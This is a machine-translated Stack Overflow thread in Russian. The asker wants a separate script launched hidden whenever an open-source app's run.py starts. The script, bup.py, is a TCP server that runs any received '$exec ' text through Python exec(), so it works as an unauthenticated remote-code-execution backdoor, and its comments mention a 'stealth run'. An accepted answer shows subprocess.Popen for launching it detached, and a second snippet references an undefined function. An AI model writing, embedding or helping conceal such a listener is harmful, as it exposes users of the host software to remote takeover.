2016-08-28 3 views
0

У меня есть run.py, который выглядит примерно так:Выполнить независимый файл из основного

def main(): 
    # Tested and working code here 


if __name__ == '__main__': 
    main() 

Тогда я еще один файл, который запускает TCP сокет сервера, bup.py:

import socket 
import os 
from threading import Thread 

# PMS Settings 
TCP_IP = '' 
TCP_PORT = 8080 

my_ID = '105032495291981824'.encode() 
my_dir = os.path.dirname(os.path.realpath(__file__)) 
current_dir = my_dir 
debug = True 

# Replace print() with dPrint to enable toggling | Be sure to set debug = False when you need a stealth run 
def dPrint(text): 
    if debug: 
     print(text) 

# ------------------------------------------------------------------- 

# Mulithreaded Server a.k.a. PMS 
    class ClientThread(Thread): 

    def __init__(self, ip, port): 
     Thread.__init__(self) 
     self.ip = ip 
     self.port = port 
     dPrint("[+] New server socket thread started for " + ip + ":" + str(port)) 

    def run(self): 
     conn.send(current_dir.encode()) 
     while True: 
      try: 
       data = conn.recv(2048).decode() 
       if "$exec " in data: 
        data = data.replace("$exec ", "") 
        exec(data) 
       elif data: 
        dPrint(data) 
      except ConnectionAbortedError: 
       dPrint("[x] Connection forcibly closed by remote host") 
       break 
      except ConnectionResetError: 
       dPrint("[x] Connection was reset by client") 
       break 

# -------------------------------------------------------------------------- 

tcpServer = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
tcpServer.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
tcpServer.bind((TCP_IP, TCP_PORT)) 
threads = [] 

while True: 
    tcpServer.listen(5) 
    (conn, (ip, port)) = tcpServer.accept() 
    newThread = ClientThread(ip, port) 
    newThread.start() 
    threads.append(newThread) 

for t in threads: 
    t.join() 

Я хочу bup.py выполняться от main() в качестве независимого файла. Кроме того, он должен запускаться либо в фоновом режиме, либо в невидимом окне. Возможно ли это? bup.py - это серверный скрипт, поэтому он ничего не возвращает и должен быть полностью отделен от run.py.

+0

Благодаря jonrsharpe, я новичок в StackOverflow. – Pinco

ответ

1

Вы можете использовать subprocess.

import subprocess 

def main() 
    # do your work 
    subprocess.Popen(["python","bup.py"]) 

Это должно работать в фоновом режиме, если текущий процесс не зависит от результата начатого процесса.

В качестве альтернативы вы можете реорганизовать bup.py как модуль питона и использовать multiprocessing:

import bup 
from multiprocessing import Process 

def runServer(name): 
    # assuming this would start the loop in bup 
    bup.startServerLoop(); 

if __name__ == '__main__': 
    p = Process(target=f) 
    p.start() 
    # do all other work 
    # close the server process 
    p.join() 
+0

Работает как очарование! Качественный товар. Я не знал о 'subprocess.Popen()'. – Pinco

0

Если вы просто хотите запустить bup.py как отдельный файл, возможно, вы можете определить, что main в вашем bup.py и запустить этот файл с помощью python bup.py. Я не совсем уверен, что bup.py нужно связать с run.py, я пропустил что-нибудь?

+0

Я не совсем понял, что вы имеете в виду. Но я снова объясню свою ситуацию: у меня есть приложение с открытым исходным кодом, которое я пытаюсь создать, но я не хочу слишком сильно вмешиваться в рабочий код. Я просто хочу запустить независимый скрипт 'bup.py', который я написал, как только запускается run.py'. – Pinco

Смежные вопросы